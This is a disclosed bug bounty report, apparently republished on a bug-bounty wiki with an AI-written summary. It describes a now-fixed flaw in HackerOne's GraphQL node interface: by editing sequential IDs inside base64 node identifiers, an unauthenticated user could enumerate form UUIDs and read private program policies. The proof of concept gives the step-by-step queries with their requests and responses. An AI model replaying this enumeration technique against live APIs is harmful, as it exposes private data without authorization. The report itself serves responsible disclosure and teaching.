Embedded submission form UUIDs can be enumerated through GraphQL node interface, exposing sensitive program details
Embedded submission form UUIDs could be enumerated through the GraphQL node interface because the backend used an auto-incremental primary key. An unauthenticated attacker could then use the UUID to access private program details such as policy and bounty table.
- Triaged in under an hour
- Fixed in 6 days
- Disclosed after 52 days
It's possible for an attacker to enumerate embedded submission form UUIDs through HackerOne's GraphQL node interface. In normal application behavior, an embedded submission form is queried through GraphQL with a UUID. These UUIDs are random and they're not susceptible to brute force attacks. However, the UUID is not the primary key of these models. Instead, in the backend, it still has an auto incremental primary key. Because of that they can be queried directly using the node interface. From the node interface, the UUID is exposed, which can then be used to obtain the same information an invited reporter can access.
Proof of concept
In order to reproduce the vulnerability, follow the steps below.
- consider the following node ID:
Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ== - decode the ID (base64), which will look something like
gid://hackerone/EmbeddedSubmissionForm/9 - change the primary key identifier, and base64 encode it
- execute the following GraphQL query:
Request
query {
node(id: "Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==") {
... on EmbeddedSubmissionForm {
uuid
}
}
}
Response
{
"data": {
"node": {
"id": "Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==",
"uuid": "████"
}
}
}
- take the UUID, and append
?embedded_submission_form_uuid=:uuidto the GraphQL request - submit the following query to obtain the program information:
Request
POST /graphql?embedded_submission_form_uuid=█████████ HTTP/1.1
Host: hackerone.com
...
{"query":"query { node(id: \"Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==\") { ... on EmbeddedSubmissionForm { id, uuid team { handle policy } }}}","variables":{}}
Response
{
"data": {
"node": {
"id": "Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==",
"uuid": "███",
"team": {
"handle": "██████████",
"policy": "The policy."
}
}
}
}
Impact
Any unauthenticated user can obtain the same information about a private program as a participating hacker. This may reveal sensitive information about private programs on HackerOne, such as their policy, terms, resolved bug count, bounty table, etc.
There are essentially two vulnerabilities here: the ability to directly query the EmbeddedSubmissionForm object and the fact that by specifying a UUID, the Team object exposes too much information.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
Any unauthenticated user could obtain the same information about a private program as a participating hacker, potentially revealing sensitive details such as policy, terms, resolved bug count and bounty table.
What the attacker needed
No account needed; GraphQL endpoint reachable
How it was found
- Take a node ID and decode it from base64 to see the internal object path.
- Change the primary key number in the decoded ID and base64 encode it again.
- Send a GraphQL query to the node interface asking for the uuid field of the EmbeddedSubmissionForm.
- Take the returned UUID and append it as a query parameter to the GraphQL request.
- Submit a GraphQL query that requests the team handle and policy for that form to obtain private program information.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
GraphQL is a way for apps to ask a server for specific data. The 'node' interface lets you look up any object by an ID, and here those IDs were based on simple sequential numbers rather than the random UUID. By changing the number, an attacker could find hidden form IDs and then read private program information.
What is IDOR?
One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.